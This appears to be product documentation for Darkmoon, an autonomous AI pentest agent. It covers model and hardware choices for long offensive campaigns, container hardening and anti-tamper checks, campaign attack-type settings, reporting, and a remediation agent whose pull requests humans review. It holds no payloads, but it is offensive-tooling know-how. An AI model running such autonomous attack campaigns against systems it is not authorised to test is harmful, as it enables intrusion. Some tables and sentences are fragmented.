OpenAI-compatibility endpoint disables Claude prompt
caching — the cache marker is sent in the wrong format and is
ignored. To use an on-prem Anthropic-compatible gateway and keep
caching, declare it as the native anthropic provider (point
ANTHROPIC_BASE_URL at the gateway), not as an
openai-compatible one.
Rule of thumb: for Claude, always route through the native
anthropic provider. You can confirm caching is active on your
Anthropic Console usage page — the cache-read / cache-write token
counts should be non-zero.
Information:
No published reduction figure. The savings depend entirely
on your provider’s pricing and how much of the prompt prefix stays
stable between turns. Darkmoon does not ship a measured cost-reduction
percentage — the effect is real but workload-specific, so measure it on
your own usage page rather than relying on a headline number.
Recommended .opencode.env for Anthropic (any Claude model
— caching is tied to the provider, not the model):
Terminal
# Native Anthropic provider -> prompt caching ON
OPENCODE_LOCAL_MODE=false
ANTHROPIC_BASE_URL=https://api.anthropic.com
ANTHROPIC_MODEL=claude-sonnet-5 # or claude-opus-..., etc.
ANTHROPIC_API_KEY=sk-ant-...
Conversely, avoid a local / OpenAI-compatible provider pointed
at Anthropic (OPENCODE_LOCAL_MODE=true +
OPENCODE_LOCAL_BASE_URL=…anthropic…): it reaches Anthropic but
with caching disabled.
Community vs Pro: provider management
Feature
Community
Pro
Configure provider
Edit .env or darkmoon-settings/
./darkmoon.sh --connect
Multiple providers
Manual JSON editing
Run --connect multiple times
Change default model
Edit opencode.json
./darkmoon.sh --set-default
Live apply (no restart)
No
Yes
Persistent after restart
Yes
Yes
VIII.3.bCompatible Models & Hardware
Darkmoon is a fully autonomous pentest agent: a
single campaign chains hundreds to thousands of tool calls, spawns
sub-agents, and must drive the whole methodology (Discovery →
Validation → Reporting → Finalization) to completion
on its own. This places a hard requirement on the
underlying LLM — it must be excellent at long-horizon reasoning and
strict, repeated tool-calling.
Information:
Ideal conditions — Claude Opus 4.6 / 4.7. Darkmoon
is built and tuned around frontier models.
Claude Opus 4.7 (or 4.6) is the reference
configuration and delivers the most complete scans, the deepest
exploitation chains, and the most reliable reports. If you want
Darkmoon to perform as designed, use Opus 4.6 / 4.7.
Why small models do not work
A 7B or 13B model (e.g. a generic llama3, a 7B coder)
cannot hold the autonomous loop: it emits malformed tool calls,
loses track over long sessions, and never reaches the final
finish_scan / campaign-finalization step. The visible
symptom is a campaign that stays in
Unknown forever and a scan that never
reaches Finished.
This is a model-capability limit, not a Darkmoon bug.
Cloud models (recommended)
Model
Provider
Status
claude-opus-4-7
Anthropic
Reference — optimal
claude-opus-4-6
Anthropic
Recommended
claude-sonnet-4-6
Anthropic
Good (faster / cheaper, slightly less depth)
★ Local Opus-class equivalents (highlighted)
If you need an on-premise / air-gapped deployment but want results
as close as possible to Claude Opus 4.6 / 4.7, use one of these
frontier-grade open-weight models. They are large
Mixture-of-Experts models that top the agentic and function-calling
leaderboards (Berkeley Function Calling Leaderboard, SWE-Bench) in
2026 — the only open models that reliably drive Darkmoon's
autonomous loop end-to-end.
Model
Size (total / active)
Why it qualifies
HuggingFace
DeepSeek-V3.2 /
V4-Pro
671B MoE / 37B active
Near-frontier reasoning, native “thinking with tools”
tool-calling
deepseek-ai/DeepSeek-V3.2
Kimi-K2-Thinking (K2.6)
1T MoE / 32B active
Best-in-class agentic intelligence, 256K context
moonshotai/Kimi-K2-Thinking
GLM-4.6 (GLM-4.7 / GLM-5
family)
357B MoE / 32B active
Strongest all-round open coding/agentic model, 200K context
zai-org/GLM-4.6
Qwen3-Coder-480B-A35B-Instruct
480B MoE / 35B active
SOTA open agentic tool-use, comparable to Claude Sonnet 4,
256K–1M ctx
Qwen/Qwen3-Coder-480B-A35B-Instruct
Information:
These flagship models are the
recommended local target if you want Opus-class behaviour. At full precision they need a multi-GPU server, but quantized
GGUF builds (2–4 bit) run on a high-end workstation with MoE
offloading — see hardware below.
Local models — efficient single-workstation options
When a multi-GPU server is not available, these run on a single
high-end GPU while still completing real campaigns (MoE designs keep
only a few billion parameters active per token):
Model
Size (total / active)
Notes
HuggingFace
Qwen3-Coder-30B-A3B-Instruct
30B MoE / 3B active
Best efficiency — fits a single 24 GB GPU, strong agentic
tool-use
Qwen/Qwen3-Coder-30B-A3B-Instruct
Qwen3-Coder-Next
MoE
Highest capability-per-active-parameter
Qwen/Qwen3-Coder-Next
Qwen2.5-Coder-32B-Instruct
32B dense
Dense fallback, excellent tool-calling
Qwen/Qwen2.5-Coder-32B-Instruct
Security / pentest-specialised models
Models fine-tuned for offensive security write deeper exploit code
and reason about CVEs more directly. They are best used
in addition to a strong agentic driver — on their own the
smaller ones still won't sustain a full autonomous campaign.
Not supported for autonomous campaigns: any small
model (7B / 13B coders, generic llama3, Phi, Gemma 9B,
the older WhiteRabbitNeo-13B, etc.). Fine for quick experiments, but
they will not finish a real campaign — the scan stays in
Unknown.
Recommended hardware (local inference)
The Opus-class models above are 355B–1T-parameter MoE. Figures
assume the listed quantization and a single concurrent campaign;
more VRAM / additional GPUs shorten run time and raise precision.
Target
VRAM
System RAM
Example hardware
Opus-class MoE —
full precision (DeepSeek-V3.2, Kimi K2,
GLM-4.6, Qwen3-Coder-480B)
multi-GPU, ≥ 8× 80 GB (up to 16–32× H100 for the largest)
VRAM / RAM figures for GLM-4.6 quantization are from Unsloth &
apxml; MoE “active parameters” explain why a 30B-A3B model runs far
lighter than a 32B dense model.
Ideal on-premise workstation (single-GPU)
GPU: NVIDIA RTX 4090 24 GB minimum — RTX 6000 Ada
/ A6000 48 GB to run Opus-class MoE in 4-bit
CPU: 16+ cores (Ryzen 9 / Threadripper / Core i9)
RAM: 128 GB (256 GB for 4-bit Opus-class MoE
offload)
Disk: NVMe SSD, 200 GB+ free (Docker images +
quantized weights — a 4-bit 355B model is ~135–200 GB)
OS: Linux x86_64 (native preferred; WSL2
supported)
Information:
No server-grade GPU? Use the cloud path with
claude-opus-4-7 — zero local hardware, best results.
Local Opus-class models are for fully air-gapped / on-premise
constraints; for a single 24 GB GPU,
Qwen3-Coder-30B-A3B is the most practical starting
point.
VIII.4Lab Networking & Container Targets
Changing the dashboard UI port (reverse proxy)
The dashboard is published on host port 80 by default, mapped by
docker-compose.yml as ${DARKMOON_UI_PORT:-80}:80. It is
not hard-wired: the installer auto-selects the next free port if 80 is
already taken, and you can pin it explicitly — useful behind a reverse proxy (Caddy,
Nginx, Traefik):
Terminal
# at install time
DARKMOON_UI_PORT=8080 sudo ./install.sh YOUR-KEY ...
# on an existing install: set it in .env, then restart
echo 'DARKMOON_UI_PORT=8080' >> .env
./darkmoon.sh restart
Targeting a local Docker lab (same host)
When your pentest target (e.g. Juice Shop, DVGA) is a Docker
container running on the same machine, use
docker inspect to get its IP:
This works because both containers share the same Docker bridge
network.
Targeting an on-premise Ollama instance (local LLM)
Warning:
Known issue: docker inspect does NOT work for Ollama
on WSL
The opencode container in the Pro
docker-compose.yml is
not configured with network_mode: "host". It runs in bridge network mode.
Therefore, using docker inspect to get the container IP
will not be reachable from within the
opencode container for Ollama.
The correct approach when using Ollama on-premise (e.g. on WSL or
the host machine) is to use the
host machine IP address, not the container IP.
On WSL — find the host IP
Terminal
# From inside WSL, get the Windows host IP
cat /etc/resolv.conf | grep nameserver | awk '{print $2}'
# or
hostname -I | awk '{print $1}'
Docker bridge IP (docker0 interface, typically
172.17.0.1)
Ollama running in another container with host network
The container IP if network_mode: host, otherwise
bridge IP
VIII.5Hardening & Runtime Guard
Docker Compose hardening
The Pro docker-compose.yml applies multiple hardening
layers to the opencode container:
Measure
Setting
Effect
Read-only filesystem
read_only: true
No writes to container FS (except explicit tmpfs)
No new privileges
no-new-privileges:true
Prevents privilege escalation inside container
All caps dropped
cap_drop: ALL
Only minimal capabilities explicitly re-added
PID limit
pids_limit: 512
Prevents fork bombs
tmpfs for volatile data
tmpfs: (many mounts)
Sensitive dirs in RAM only, never on disk
Sealed volume
darkmoon_opencode_sealed
Encrypted persistent state
Log rotation
max-size: 10m, max-file: 3
Prevents log flooding
Grace period
stop_grace_period: 45s
Clean shutdown for ongoing sessions
Runtime Guard (darkmoon-runtime-guard.sh)
At startup, the Runtime Guard is the first process
to run inside the container. It acts as a security watchdog before
OpenCode is even allowed to start.
What the Guard does
Check
Description
Licence validation
Verifies the licence key against the server (or cache)
before booting
Hardware fingerprint
Derives a machine fingerprint (DMI/CPU identifiers) to bind
the licence to the hardware
Compose policy integrity
Computes SHA-256 of docker-compose-dev.yml and
compares against the expected hash baked into the image —
refuses to start if tampered
Runtime file hashes
Verifies SHA-256 of the guard script itself, the OpenCode
wrapper, the real OpenCode binary, and the entrypoint —
detects in-place binary replacement
Compromise marker
If a compromise is detected, writes a marker file that
prevents any future start until the sealed state is
explicitly reset
Debugger detection
Detects attached tracers (ptrace, strace, etc.) and
terminates if found
no-new-privileges check
Verifies the container was started with
no-new-privileges — refuses to run otherwise
Policy watchdog
Background process that continuously re-verifies compose
policy integrity every N seconds while running
Self-integrity watchdog
Background process that re-checks the guard and binaries
every N seconds
AES-GCM sealed state
Sensitive bootstrapped data (agents, workflows) is AES-GCM
encrypted in the sealed volume using a key derived from
licence + machine fingerprint
What the user can and cannot do
Action
Allowed?
Notes
Run ./darkmoon.sh
Yes
Normal usage
Add / modify agents via --connect
Yes
Managed operations
Access logs via docker logs opencode
Yes
Read-only
docker exec -ti opencode bash
Limited
For debug only — read-only FS, tmpfs only
Modify docker-compose.yml
Blocked
Hash mismatch → container refuses to start
Replace OpenCode binary
Blocked
Runtime hash check detects it → compromise marker set
Attach a debugger (strace, ptrace)
Blocked
Tracer detection → immediate termination
Bypass licence check
Blocked
AES-GCM sealed bootstrap key derived from licence + hardware
Start without valid licence
Blocked
Guard exits 111 before OpenCode loads
Attacks the Guard protects against
Binary substitution
replacing the OpenCode
binary with a malicious one
Compose policy tampering
modifying
docker-compose.yml to remove security constraints
Licence bypass
attempting to start without a
valid key
Debugger attachment
attaching strace/ptrace to
extract secrets
Privilege escalation
no-new-privileges + all
caps dropped
Container escape via FS writes
read-only
filesystem + tmpfs
Fork bomb / resource exhaustion
pids_limit +
tmpfs sizing
Log flooding
log rotation enforced
Replay after compromise
compromise marker
prevents any restart until explicit reset
After login, you are immediately prompted to
change your password. Once changed, you are
redirected to the home page.
SSO Compatibility
The authentication layer is powered by Authelia,
which implements the
OpenID Connect (OIDC) protocol. This makes Darkmoon
Pro compatible with any SSO provider that supports OIDC:
Keycloak
Okta
Azure AD / Entra ID
Google Workspace
Auth0
Any OIDC-compliant IdP
Authelia is configured in
authelia/config/configuration.yml and exposes an OIDC
client (darkmoon-frontend) with openid,
profile, and email scopes.
Information:
SSO setup To enable SSO, configure your IdP to
redirect to https://localhost/callback (or your
production domain) and update
authelia/config/configuration.yml with your IdP's OIDC
settings.
VIII.6.bCreating a New Campaign
A campaign corresponds to a pentest run against a
specific target. Multiple campaigns can be run against the same
target over time.
Navigate to New Campaign in the left sidebar.
New Campaign — type the target, open the optional chips to refine the campaign, then press the arrow to launch. The line under the composer summarises the campaign as configured.
Campaign parameters
Chip
Description
Target
Main target IP, domain or URL, typed in the composer
Scope
Additional in-scope assets and exclusions (out-of-scope assets); main target only by default
Attack Strategy
Include / exclude specific attack types (SQLi, XSS, SSRF, RCE, etc.); by default the agent decides
Authentication
Credentials for authenticated testing; unauthenticated by default
Settings
Noise level, severity cap, report format (Standard, HackerOne, Bugcrowd, custom), safe harbor and engagement rules (POC only, no real user data, no DoS, business hours only, …); server defaults otherwise
Remediation
Opt-in remediation agent that turns confirmed findings into fix pull requests (see VIII.8)
Scheduling a campaign
Campaigns can be scheduled for future execution
using the built-in scheduler.
Scheduler — the same composer as New Campaign plus a Schedule chip: pick a date and time and a recurrence (one-time by default), then press the check. Scheduled campaigns are listed below.
VIII.6.cReal-Time Monitoring
Dashboard home — projects, targets, campaigns and findings by severity, plus the Security posture of every project (Cyber Score grade, latest assessment, first action), updated live as the orchestrator dispatches agents.
Once a campaign is launched, you can
monitor the pentest in real time from the UI. The
same log stream visible in the TUI is available in the dashboard, in the Live Output panel under the New Campaign composer.
Replay — inside a campaign, the Replay tab (in the campaign header, or under More) replays what the agents did, in order; drag the timeline to move through the run. Past runs are listed under History in the sidebar.
For a running campaign, you see the live agent output, tool
executions, and intermediate findings as they are discovered.
VIII.6.dProject View & Vulnerability Analytics
The Project view (accessible from the left sidebar
or the home page) groups campaigns by target and provides
cross-campaign vulnerability analytics.
Home page in the light theme (toggle with the sun icon at the top of the sidebar) — real-time overview of all projects with vulnerability counts and Cyber Score.
Projects — every project with its Cyber Score grade, risk chip and latest assessment; your projects are also listed in the sidebar.
Project page — an Infrastructure / Overview switch. Overview opens with the executive Cyber Score block (grade, what was tested, first actions, actions by status and a link to the Prioritized Treatment Plan), then the application profile, maintenance windows, the target and the campaigns table with per-severity counts.
Vulnerability evolution graphs
On the project's Infrastructure tab, a sunburst groups the latest campaign's findings by zone and asset, coloured by severity; beside it, Findings per campaign tracks how vulnerabilities evolve
across campaigns over time. It appears from the second campaign, and choosing a campaign redraws the sunburst. It shows whether new
vulnerabilities are being discovered or remediation is effective.
Project Infrastructure tab — findings sunburst of the latest campaign (zone, asset, finding, coloured by severity) with Findings per campaign above it, tracking the counts across campaigns, under the Cyber Score strip.
Campaign detail view
Each campaign opens under a single header: the project and a campaign selector, the Review findings action and the tabs Map, Attack paths, Findings, Overview, Reports and More (Replay). A status line under it gives the exposure, the number of critical paths and the last scan time.
Campaign Overview — the executive block: Cyber Score grade, what was tested, what holds the grade, the weakness classes that weigh most, and the first actions.
Findings — filter by severity, proof level (exploited, confirmed, unconfirmed), category or asset; each row links to its treatment action and to the attack path it belongs to. The Treatment plan sub-tab lists the prioritized actions (see Prioritized Treatment Plan).
Vulnerability detail
Vulnerability detail — summary, evidence (request, response, commands, logs), remediation and retest; the right rail shows the treatment action and the finding's place in the Prioritized Treatment Plan.
Infrastructure map
For each campaign, the Map tab opens an orbital attack-surface map
lays the discovered hosts, services and data stores out on tilted
exposure rings, from the internet-facing perimeter down to data and
secrets. Every asset carries a per-node vulnerability badge and is
clickable to inspect its findings, and a guided tour walks an
exposure path from the entry point to the
crown-jewel assets (a reading of the inventory, not a demonstrated attack: see
Attack paths for Evidence-Backed and Possible Attack Paths). The scene is a web view; over WebXR the same map
renders inside a VR headset, straight from the browser.
Infrastructure map — orbital view with exposure rings and per-asset badges, zoned view (Internet / Edge / Application / Data) with labelled edges and per-asset finding counts, and the guided exposure path; click any node to inspect its findings.
VIII.6.eReports & PDF Export
At the end of a campaign (or at any point during it), you can view and export the pentest report from the Reports tab.
Report view
Report view — the full pentest report rendered in the UI, from the Cyber Score, executive summary and application profile to the prioritized treatment plan, attack paths, detailed findings and limitations; Markdown gives the same report as Markdown.
PDF export (signed & encrypted)
Click Export PDF to generate a
signed and encrypted PDF report.
Information:
PDF generation takes a few seconds. Wait for the
download to be ready before clicking again.
PDF report — A4 audit-grade report: cover, executive overview with the Cyber Score, prioritized treatment plan, then attack paths and detailed findings with evidence, severity ratings and remediation.
VIII.7CI/CD Integration
Darkmoon Pro supports
automated penetration testing in CI/CD pipelines.
The official demo is available at:
Darkmoon's specialists prove impact; the remediation agent is their
defensive counterpart (Pro edition). At the end of a campaign it turns each confirmed
finding into a minimal code fix, proves it in an ephemeral sandbox, and opens a
pull request for human review — never a merge.
Remediation PR — the fix for a SQL injection: repository, branch,
diff stat and confidence, the findings it resolves, before/after
validation evidence (exploit before, exploit after, variant
payloads, regression tests) and the patch diff.
For each confirmed finding it:
locates the root cause in the target's own source (category-specific vulnerable-sink patterns);
writes the smallest correct fix through an LLM patch, reviewed by an over-reach judge;
reproduces the exploit before the patch and replays it (plus payload variants and the repo's tests) after, inside a self-destructing Docker sandbox bound to 127.0.0.1;
opens a pull request carrying that before/after evidence, linked to the findings it resolves.
Information:
The report is untouched. Pull requests are produced alongside the
server-rendered report; the remediation agent never finalizes the campaign.
Enabling it
Dashboard
in New Campaign or Scheduler, tick Remediation, pick a saved push credential and give the source repo (or ask for a fresh one). The vulnerabilities table gains a PR column linking each finding to a pull-request detail page.
CLI / TUI
add REMEDIATE=1 REPO=… CREDENTIAL_REF=… to the prompt, or run python -m src.remediation --campaign-id <id> --repo <url> --credential-ref <cred_id>.
CI/CD
an opt-in stage runs it after the pentest, taking the push token from a CI secret.
Campaign view — the vulnerabilities table gains a
PR column; the fixed SQL-injection finding links
to its pull request (#42), the others show none yet.
no push target, or a dry-run → branch and commit prepared locally.
draft
a fix was produced but not fully validated (no buildable sandbox) → draft PR at lower confidence, evidence attached.
failed / skipped
no usable patch, or no code location mapped.
Credentials
To open a pull request the agent needs a Git push credential (a
forge token or an SSH key). You save it once from the dashboard —
the key icon in the sidebar user block opens the Credentials modal — and
reuse it across campaigns. Each credential is owned by you (scoped to your account)
and can be created, updated or deleted from that modal.
Credentials modal — opened from the key icon in the sidebar user block; Add credential saves a push credential once for every campaign. Secrets are encrypted at rest and shown only as a masked hint, never in clear.
Supported providers, grouped by capability:
Git / pull requests
github,
gitlab (merge requests), gitea,
gogs, bitbucket, azure_devops,
generic_git, and ssh (SSH key for any Git remote).
sealed with Fernet (a persistent key from DARKMOON_SECRET_KEY or a 0600 key file); the JSON store never holds a cleartext token.
Never returned
the credentials API is JWT-gated on every route and returns a secret only as { set, hint } (the last 4 characters, masked), never its value.
Opaque reference
the campaign launch line carries an opaque id such as cred_ab12cd, never the token. The pipeline resolves the real secret locally at push time; it is never exposed to the model or over the API.
So a remediation launch references the credential, never the secret itself:
Terminal
# the token is saved once in the UI; the run only carries its opaque id
./darkmoon.sh "TARGET: … REMEDIATE=1 REPO=https://github.com/acme/app CREDENTIAL_REF=cred_ab12cd"
Information:
Requirement. Full before/after sandbox proof needs a buildable Dockerfile and,
ideally, a small .darkmoon/repro.json describing how to build the target and how to
tell "exploited" from "safe". Without them the agent still proposes a fix but opens a draft PR
and says so.
VIII.9Remediation demonstration — OWASP Juice Shop
To show the remediation engine end to end on a well-known target, we
ran it against a standalone fork of the
OWASP Juice Shop and published the resulting fixes as
pull requests for human review.
Pull requests:
57 remediation PRs
— each maps one or more findings to a tested fix, carrying the diff
and before/after validation evidence.
Information:
This is an internal demonstration of DarkMoon's remediation
engine, not a set of external contributions to the upstream
OWASP Juice Shop project. Every pull request is left
open for human review — consistent with the rule that
DarkMoon never merges automatically.
VIII.10n8n community node (n8n-nodes-darkmoon)
The n8n community node lets an
n8n workflow
trigger a DarkMoon pentest against a target you are authorised
to assess, pull back the findings, and review the fix pull requests
DarkMoon prepares — so testing and remediation review can be
wired into CI/CD, ticketing, chat and reporting automations like any
other step.
Package: n8n-nodes-darkmoon (v0.3.0) —
live on npm, installable via n8n Community Nodes:
n8n-nodes-darkmoon
In a self-hosted n8n: Settings → Community Nodes →
Install, then enter n8n-nodes-darkmoon (see the
n8n community nodes guide). Create a DarkMoon API credential (Base URL,
dashboard username and password); the node logs in at run time to the
Dashboard API to obtain a short-lived JWT.
Operations
Run Pentest (with optional Enable
Remediation) — start a pentest and, with Wait for
Completion on, return the campaign, findings and severity stats.
Get Findings — vulnerabilities for a campaign, with aggregated stats.
Get Report — the markdown report for a campaign.
List Campaigns — past and running campaigns.
List Pull Requests — the fix PRs DarkMoon prepared (states: proposed, draft, open, merged, closed, error).
Get Pull Request — one PR record (diff summary, validation, linked findings).
Get Pull Requests by Finding — the PRs that address a specific finding.
Remediation from the node
Enable Remediation on Run Pentest (default
off) turns on the fix loop, which runs during the
pentest. It takes a Credential Reference — the opaque
id of an SCM credential stored in DarkMoon's vault, not a
token — plus an optional repository.
confirmed finding → generate fix → validate in sandbox → retest → open pull request → human review → manual merge
Information:
Pull requests are read-only through the API and the node.
PR records are created by the remediation agent during the run; there is
no endpoint to open, update or merge a PR, and the node deliberately
provides none. Merging is always a manual human step in your SCM.
Example workflow
The repo ships "DarkMoon Pentest and Remediation
Review": it triggers a pentest on an authorised demo-lab
target, enables remediation with a credential reference, waits for
completion, lists the reviewable pull requests
(proposed / draft / open), and
summarises everything into a message ready for a Slack / Microsoft
Teams / Jira / Linear / GitHub / email node. It merges
nothing.
Security notes: no SCM tokens in workflow parameters
(only the opaque vault reference); no secrets in logs; no automatic
merges; authorised targets only.
Integrations · 16/22
Integrations
Darkmoon plugs into the tools you already build and ship with. Every
integration is a thin client over the same engine, so what it can do
depends on which backend it can reach:
OSS
Pro
10 sections
6 min read
OSS — the Community path: the
integration drives the local darkmoon.sh /
darkmoon-ci CLI over a bind-mounted data/reports directory
(no network, no dashboard). Browse, launch and CI-gate on local JSON.
Pro — the integration talks to the
Pro REST API at {baseUrl}/api/v1 with a bearer token, adding
live/SSE streaming, the hosted dashboard, the scheduler, webhooks and
remediation→PR review.
Most integrations auto-detect (mode: auto | oss | pro) and
degrade to the local CLI when no Pro backend is reachable. Two are
Pro-only REST consumers (n8n and Grafana) — they have
no local path in their code.
Information:
Privacy is uniform across every integration. Only safe
metadata leaves the engine (severity, status, ids, MITRE technique,
timestamps). Evidence, secrets, tokens and request/response bodies are never
emitted (client-side redaction, Splunk safe-field allowlist, Grafana
“evidence never exposed”).
Important:
Honesty note. A finding’s status
(EXPLOITED / CONFIRMED / UNCONFIRMED)
is agent-asserted, not machine-verified. The only flow that
re-verifies exploitation is the Pro remediation retest (it proves the
fix, not the original exploit). Integrations surface no CWE and no
per-finding confidence score — confidence exists only on a remediation
pull request’s validation.
Programmatic surface — REST API & capability discovery Pro
Integrations that go beyond the local CLI consume the Pro REST API: 15
routers mounted under /api/v1/ (projects, targets, campaigns,
vulnerabilities, dashboard, run, scheduler, auth, credentials,
pull-requests, system, webhooks, events, retest, metrics). The Community
edition ships only the local JSON write path — there is no
/api/v1 server in OSS.
Capability discovery
GET /system/info — a self-describing contract (version,
enabled features, integration surface) so a client can adapt without
guessing. It returns no secrets.
GET /system/update-status — compares the running image
build stamp (DARKMOON_IMAGE_BUILT_AT) against Docker Hub and
reports whether a newer image is available (this drives the dashboard
“update available” badge).
a pipeline step (darkmoonScan) that runs Darkmoon and publishes SARIF 2.1.0 through Warnings-NG.
Compatibility
OSS via ossDataDir / ossReportsDir + license env; Pro via apiUrl + token env.
Install
the Jenkins Update Center listing is pending (no jenkinsci plugin yet). Side-load the .hpi from the GitHub Releases page (current build is 0.1.0-SNAPSHOT).
Connect
OSS: set ossDataDir/ossReportsDir; Pro: set apiUrl.
Auth
OSS: license env; Pro: API token via Jenkins credentials (env), never inline.
Security note
SARIF carries safe fields only; keep tokens in the Jenkins credential store.
dashboards for posture/overview, campaigns, vulnerabilities, timeseries and PRs.
Compatibility
Pro-only: the shipped Go datasource (gpx_darkmoon) reads the Pro /api/v1 surface.
Install
the grafana.com catalog listing (darkmoon-securityposture-app) is pending. Install the app plugin v1.0.0 from GitHub Releases (self-host / unsigned), or import the dashboard JSON with the live yesoreyeram-infinity-datasource pointed at the REST API.
Connect
configure the datasource with your Pro base URL.
Auth
bearer token in the datasource config.
Security note
evidence is never exposed; panels render safe metadata only.
Listing status at a glance. Live now: VS Code Marketplace,
JetBrains Marketplace, GitLab CI/CD Catalog, GitHub Marketplace Action, npm
(@darkmoon_ai/client, n8n-nodes-darkmoon).
Install-from-Releases meanwhile: Splunkbase (pending approval), Grafana
catalog (pending), Jenkins Update Center (no jenkinsci plugin
yet).
Deployment · 17/22
Deployment / DarkMoon Appliance
The commercial site answers why DarkMoon exists.
11 sections
14 min read
The commercial site answers why DarkMoon exists. This section
answers how to run it, end to end: what a DarkMoon Appliance is,
how the node is put together, the ordered path from
“which machine?” to “it is running”, how to size the
host, which network flows it needs, how the AI backend is wired, and how to
keep it healthy with darkmoon doctor,
darkmoon update and darkmoon repair. Everything here
targets the same single-node stack described in
§II. Installation and
§VIII. Pro Edition. If you are setting up
a node for the first time, start at
Getting Started and follow the eight
steps in order.
Appliance Overview
A DarkMoon Appliance is a
validated self-hosted deployment specification, not a
product you receive in a box. You take your own Linux machine and turn it
into a dedicated DarkMoon node. There is no OVA, no ISO and no custom
operating system to flash: the appliance is the combination of
the packaged Docker images (the opencode core and the darkmoon scanner) pulled from the registry;
the install.sh installer that builds and wires the stack (no need to hand-edit docker-compose.yml);
the DarkMoon Doctor diagnostic & repair CLI that validates the host and the running stack;
this documentation, which defines the supported hardware, network and AI configurations.
What a DarkMoon Appliance is not:
Not proprietary hardware. DarkMoon ships no appliance box, server or dongle. You provide the machine.
Not a VM image. There is no downloadable virtual-machine image or custom OS. You install onto an OS you already run.
Who it is for
The appliance model is for teams that need offensive-security automation to
run inside infrastructure they control — security
teams, MSSPs and consultancies running authorized engagements, and product
teams embedding continuous testing in their own environment. If your priority
is that assessment data and target traffic never leave your perimeter, this is
the deployment shape for you.
Who provides what
You provide the machine and the platform it sits on; DarkMoon
provides the software that runs on it. You bring a Linux host (bare metal or a
VM), keep it patched and networked; DarkMoon brings the images, the installer,
the Doctor and the lifecycle tooling. The full split is in the
responsibility matrix.
How it is installed
Installation is scripted. You run install.sh; it pulls the two
images, generates and wires docker-compose.yml, brings the stack
up and (for Pro) registers the license. You do not hand-assemble the compose
file. The step-by-step path is in
Getting Started, with host
prerequisites in Requirements &
Prerequisites.
Where to size and plan the network
Two questions decide the host: how big? and what may it
reach? Size the machine with Sizing (and
the methodology behind those numbers), and
hand your firewall team the flow matrix in
Network Requirements.
Information:
Single-node model. The product today is a
single-node appliance: one machine runs the full stack.
There is no multi-node fleet, clustering or horizontal scale-out in the
product. You scale up (a bigger node), not out.
Architecture
A DarkMoon node is a single-node, two-container stack running
on Docker. One container is the opencode core:
it serves the web UI on port 80 (server-sent events included) and
runs an internal FastAPI service bound to
127.0.0.1:8000 — loopback only, never published off the
host. The other is the darkmoon scanner, which
runs with network_mode: host so its offensive tooling reaches
authorized targets directly, without a NAT layer in the way.
Your server (hardware or VM — you provide it)
└─ Linux host OS
└─ Docker Engine + Docker Compose v2
└─ DarkMoon
├─ opencode core → :80 web UI + SSE
│ └─ FastAPI → 127.0.0.1:8000 (loopback only)
└─ darkmoon scanner → network_mode: host
= one DarkMoon Appliance (a single DarkMoon Node)
A DarkMoon Node is one execution point: one host, one stack,
operated on its own. There is no central-managed fleet in the product
today — nodes are not enrolled into a controller and there is no
cross-node console. If you run several nodes, you run and update each of them
independently.
Responsibility: customer vs DarkMoon
The appliance is self-hosted, so the boundary of responsibility matters. In
short: you own the machine and the platform, DarkMoon owns the
software and its lifecycle.
Customer controls
DarkMoon provides
Physical hardware
VM / hypervisor, if any
Host operating system
Host security (patching, access, hardening)
Network (connectivity, firewalling, DNS/NTP)
Power
Hardware replacement
Hardware warranty
DarkMoon software
Packaged deployment
Docker images
Installation tooling (install.sh)
DarkMoon Doctor
Application lifecycle
Updates
Compatibility documentation
Reference sizing
Software support
Getting Started (Appliance)
Bringing up a node follows a fixed path: understand the shape, pick the
hardware, confirm the host can run it, open the flows, install, wire the AI,
verify, then operate. Do the eight steps in order — each links to the
reference subsection that covers it in depth.
Choose your architecture. Confirm the single-node,
two-container model fits your plan (one host, scale up not out). See
Architecture.
Choose your appliance profile. Match your workload to one of
the five reference profiles. See Sizing.
Check prerequisites. Verify the host meets the Linux, Docker
and resource floors before you install. See
Requirements & Prerequisites.
Prepare network flows. Open the inbound UI port, the
outbound registry/license flows and, for Connected/Private modes, egress to
the model. See Network Requirements.
Install DarkMoon. Run install.sh; it pulls the
images, wires the stack and brings it up. See
§II. Installation and
Installation Pro.
Configure AI. Select Connected, Private or Local inference
for the node. See AI Deployment Modes.
Run DarkMoon Doctor. Validate host and stack, and let it
repair the safe problem classes. See
DarkMoon Doctor.
Operate DarkMoon. Keep it current and healthy with
darkmoon update / darkmoon repair, and use the
Doctor-first flow when something breaks. See
Updating & Repair and
Troubleshooting.
Requirements & Prerequisites
This is the “can we run it at all?” checkpoint,
deliberately separate from Sizing (which
answers “how big?”). Before you install, confirm the host clears
every floor below. darkmoon doctor re-checks all of these at
install time and afterwards.
Host prerequisites
Operating system
a current 64-bit Linux host (bare metal or VM).
Docker Engine
installed and running, with the daemon reachable by the installer.
Docker Compose v2
the docker compose plugin (v2), not the legacy docker-compose script.
Architecture
amd64 is validated; arm64 is experimental.
Resource floors
RAM
Doctor warns below 4 GB and recommends8 GB or more. Treat 8 GB as the practical minimum.
Disk
the base images occupy roughly 25 GB on disk before any evidence or campaign data; provision well above that (see the per-profile disk figures in Sizing).
Free space headroom
Doctor warns once the disk reaches 90% used; keep comfortable headroom for pulls and backups.
Information:
Meeting these floors means the node will run. It does not mean it will
run your workload comfortably — for that, size the machine in
Sizing.
Sizing
DarkMoon resource requirements depend on workload. There is no
single “recommended spec”: a single low-parallelism campaign
against a handful of hosts is a very different load from sustained
high-concurrency campaigns with long evidence retention. Size for the workload
you actually run, and treat the figures as estimates with margin rather than
hard floors.
The factors that move the numbers:
Assets
how many targets are in scope per campaign.
Agents
how many autonomous agents are active.
Parallelism
concurrent tool executions running at once.
Campaign complexity
depth of the attack path and number of phases.
Retention
how much evidence and campaign history you keep.
Find the row whose typical workload matches yours, then read across to
the hardware. The last two columns tell you the CPU architecture and which AI
deployment modes the profile supports.
Assumptions. Figures assume one active campaign per node at a
time, evidence retained on the node’s own disk, base images occupying
roughly 25 GB before data, and inference running off the node for every
profile except Local AI (whose RAM adds a model floor on top of
the base, and whose GPU is optional and used only for local inference). They are
sizing estimates carrying a safety margin, not hard minimums.
No new workload was executed for this sizing study.
Recommendations are based on existing DarkMoon data, historical benchmark
results, static architecture analysis, official component specifications and
documented engineering assumptions. This section states exactly how much
confidence each figure carries.
Every number in Sizing falls into one of four categories:
Observed
measured directly from existing DarkMoon data and historical benchmark runs. Highest confidence.
Derived
calculated from observed data and the static architecture (for example, base image footprint on disk, or memory from the two-container layout).
Estimated
extrapolated to workloads not directly measured, using the factors in Sizing (assets, agents, parallelism, complexity, retention).
Recommended
the published profile figure: an estimated need rounded up and padded so a node is not sized to the ragged edge.
